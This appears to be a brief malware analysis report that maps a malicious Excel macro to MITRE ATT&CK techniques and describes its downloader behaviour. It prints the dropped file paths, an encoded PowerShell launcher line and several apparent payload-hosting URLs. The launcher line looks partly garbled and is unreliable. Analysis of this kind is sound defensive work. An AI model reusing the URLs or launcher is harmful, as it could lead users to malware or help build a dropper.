MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1059.005 Visual Basic

The Workbook_Open VBA macro is configured to execute commands via Windows Script Host. It constructs a command line that includes a base64 encoded string, which likely decodes to a list of URLs. The script also attempts to create and execute a batch file located at 'c:\programdata\jledshf.bat' and a VBScript at 'c:\programdata\sduoixo.vbs', indicating a downloader or dropper functionality. The presence of 'CreateObject' and references to 'wscript.shell' further support this. The reconstructed command line is 'hell -e Has4htksdighfdGJSXDghs4tshdkrg zasg3ksjfHXGHJXdfezse34 Fghsdregsh3ksjdfhkgz'. The encoded string decodes to: 'http://reumatismclinic.com/./scCn3mbiJRpwBsKBbrC/,https://shodmanjaric.com/wp-admin/xEmK4Pd3N/,http://tubelocal.net/wp-admin/X4Xm4Mk/,https://pacifichombroker.com/roderick/RRk/,https://molinai-journal.com/rodeirick/RRk/'.
